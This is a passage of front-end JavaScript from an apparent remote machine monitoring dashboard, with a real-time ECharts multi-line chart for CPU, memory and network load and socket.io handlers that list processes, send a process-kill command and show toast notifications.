*/
addData: function(lineName, value, time) {
this._addDataToLine(lineName, value, time);
},
/**
* 添加时间点数据(所有线条共享同一时间轴)
* @param {object} data - {lineName1: value1, lineName2: value2}
* @param {string} [time] - 可选时间戳
*/
addTimePoint: function(data, time) {
const now = new Date();
const timeStr = time || `${now.getHours()}:${now.getMinutes()}:${now.getSeconds()}`;
// 添加时间点
chartData.timeData.push(timeStr);
// 为每条线添加数据
Object.keys(data).forEach(lineName => {
if (chartData.lines[lineName]) {
const lineConfig = chartData.lines[lineName].config;
chartData.lines[lineName].data.push(data[lineName]);
// 限制数据长度不超过配置的maxPoints
if (chartData.lines[lineName].data.length > lineConfig.maxPoints) {
chartData.lines[lineName].data.shift();
}
}
});
// 限制时间数据长度(以最长线条的maxPoints为准)
const maxPoints = Math.max(...Object.values(chartData.lines).map(line => line.config.maxPoints));
if (chartData.timeData.length > maxPoints) {
chartData.timeData.shift();
}
// 更新图表
this._updateChart();
},
/**
* 移除指定线条
* @param {string} lineName - 线条名称
*/
removeLine: function(lineName) {
if (!chartData.lines[lineName]) {
console.warn(`线条 "${lineName}" 不存在`);
return;
}
// 从数据中移除
delete chartData.lines[lineName];
// 更新图表配置
const currentOption = HChart.getOption();
currentOption.legend[0].data = currentOption.legend[0].data.filter(name => name !== lineName);
currentOption.series = currentOption.series.filter(series => series.name !== lineName);
HChart.setOption(currentOption);
},
/**
* 重置所有数据
*/
reset: function() {
chartData.timeData = [];
Object.keys(chartData.lines).forEach(lineName => {
chartData.lines[lineName].data = [];
});
this._updateChart();
},
/**
* 更新Y轴配置
* @param {object} config - {min: number, max: number, name: string}
*/
setYAxis: function(config) {
HChart.setOption({
yAxis: config
});
},
// 私有方法:向指定线条添加数据
_addDataToLine: function(lineName, value, time) {
if (!chartData.lines[lineName]) {
console.error(`线条 "${lineName}" 不存在`);
return;
}
const now = new Date();
const timeStr = time || `${now.getHours()}:${now.getMinutes()}:${now.getSeconds()}`;
const lineConfig = chartData.lines[lineName].config;
// 如果是第一个数据点,确保时间轴同步
if (chartData.lines[lineName].data.length === 0 && chartData.timeData.length > 0) {
// 用最新的时间点
chartData.lines[lineName].data = Array(chartData.timeData.length - 1).fill(null);
chartData.lines[lineName].data.push(value);
} else {
// 添加时间点(如果这是第一条线)
if (Object.keys(chartData.lines).length === 1 && chartData.lines[lineName].data.length === chartData.timeData.length) {
chartData.timeData.push(timeStr);
// 限制时间数据长度
if (chartData.timeData.length > lineConfig.maxPoints) {
chartData.timeData.shift();
}
}
// 添加数据
chartData.lines[lineName].data.push(value);
// 限制数据长度
if (chartData.lines[lineName].data.length > lineConfig.maxPoints) {
chartData.lines[lineName].data.shift();
}
}
// 更新图表
this._updateChart();
},
// 私有方法:更新图表数据
_updateChart: function() {
const seriesUpdate = Object.keys(chartData.lines).map(lineName => ({
name: lineName,
data: chartData.lines[lineName].data
}));
HChart.setOption({
xAxis: {
data: chartData.timeData
},
series: seriesUpdate
});
},
// 私有方法:为颜色添加透明度
_addAlphaToColor: function(color, alpha) {
if (color.startsWith('rgb')) {
return color.replace(')', `, ${alpha})`).replace('rgb', 'rgba');
} else if (color.startsWith('#')) {
const r = parseInt(color.substr(1, 2), 16);
const g = parseInt(color.substr(3, 2), 16);
const b = parseInt(color.substr(5, 2), 16);
return `rgba(${r}, ${g}, ${b}, ${alpha})`;
}
return color;
}
};
// 添加线条时指定maxPoints为15
const networkLine = multiLineChart.addLine('网络负载', '#FF9800', {
showArea: true,
markLine: 85,
maxPoints: 15
});
const cpuLine = multiLineChart.addLine('CPU使用率', '#3a4de9', {
showArea: true,
markLine: 80,
maxPoints: 15
});
const memoryLine = multiLineChart.addLine('内存使用率', '#4CAF50', {
showArea: true,
markLine: 85,
maxPoints: 15
});
socket.on(PCMachineGUID + 'CMDRMonitor', (message) => {
console.log(message.monitor);
updateProgress('cpu', message.monitor.cpu.usage, message.monitor.time);
$('#cpu-info').text('占用: ' + message.monitor.cpu.usage + '% / 核心: ' + message.monitor.cpu.core);
updateProgress('memory', message.monitor.mem.percent, message.monitor.time);
$('#memory-info').text('占用: ' + (message.monitor.mem.used / GB_SIZE).toFixed(2) + 'GB / ' + (message.monitor.mem.total / GB_SIZE).toFixed(2) + "GB");
updateProgress('network', roundFixed((message.monitor.net.sent+message.monitor.net.recv) / alignFileSize(message.monitor.net.sent+message.monitor.net.recv) * 100), message.monitor.time);
$('#network-info').text('上行: ' + message.monitor.net.sent.toFixed(2) + 'KB/s 下行: ' + message.monitor.net.recv.toFixed(2) + 'KB/s 模拟极限: ' + alignFileSize(message.monitor.net.sent+message.monitor.net.recv) + 'KB');
cpuLine.addData(message.monitor.cpu.usage);
memoryLine.addData(message.monitor.mem.percent);
networkLine.addData(roundFixed((message.monitor.net.sent+message.monitor.net.recv) / alignFileSize(message.monitor.net.sent+message.monitor.net.recv) * 100));
});
socket.on(PCMachineGUID + 'CMDRProcess', (message) => {
console.log(message);
// 使用Layui
layui.use(['jquery', 'layer'], function(){
var $ = layui.jquery;
var layer = layui.layer;
// 模拟初始数据
window.tasks = message.process;
// 渲染任务卡片
function renderTasks() {
var container = $('#taskContainer');
container.empty();
tasks.forEach(function(task) {
var card = `
<div class="task-card" data-name="${task.name}">
<div class="task-header">
<div class="task-name">${task.name}</div>
</div>
<div class="task-desc">${task.desc}</div>
<div class="task-progress">
<div>进度: ${task.progress}%</div>
<div class="progress-bar">
<div class="progress-value" style="width: ${task.progress}%"></div>
</div>
</div>
<div class="task-actions">
<button class="stop-btn" onclick="stopTask('${task.name}')">终止</button>
</div>
</div>
`;
container.append(card);
});
}
// 初始化渲染
renderTasks();
// 全局函数 - 停止任务
window.stopTask = function(name) {
// 直接停止任务,不需要确认
// var index = tasks.findIndex(t => t.name === name);
//if (index !== -1) {
// tasks.splice(index, 1);
// renderTasks();
// layer.msg('已终止任务: ' + name, {icon: 1});
//}
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": "ProcessKill", "Command": name});
layer.msg("已发送指令,稍后...");
};
// 全局函数 - 更新任务进度 (API)
window.updateTaskProgress = function(name, progress) {
var task = tasks.find(t => t.name === name);
if (task) {
// 更新进度
task.progress = progress;
// 找到对应的DOM元素
var card = $(`.task-card[data-name="${name}"]`);
if (card.length) {
// 更新进度文本
card.find('.task-progress > div:first').text('进度: ' + progress + '%');
// 动画更新进度条
card.find('.progress-value').css('width', progress + '%');
// 根据进度改变颜色
var progressBar = card.find('.progress-value');
if (progress >= 80) {
progressBar.css('background-color', '#5FB878'); // 绿色
} else if (progress >= 50) {
progressBar.css('background-color', '#1E9FFF'); // 蓝色
} else {
progressBar.css('background-color', '#FFB800'); // 黄色
}
}
}
};
// 全局函数 - 添加任务 (API)
window.addTask = function(name, desc, progress) {
if (tasks.some(t => t.name === name)) {
console.error('任务名称已存在');
return false;
}
tasks.push({
name: name,
desc: desc || '暂无描述',
progress: progress || 0
});
renderTasks();
return true;
};
});
});
socket.on(PCMachineGUID + 'CMDRMESSAGE', (message) => {
if (message.level == "error") {
Toast.error("ERROR", message.message);
}
if (message.level == "info") {
Toast.info("INFO", message.message);
}
if (message.level == "success") {
Toast.success("SUCCESS", message.message);
}
if (message.level == "warning") {
Toast.warning("WARNING", message.message);
}
if (message.level == "debug") {
Toast.debug("DEBUG", message.message);
}
if (message.level == "unknown") {
Toast.unknown("UNKNOWN", message.message);
}
});
</script>
</body>
</html>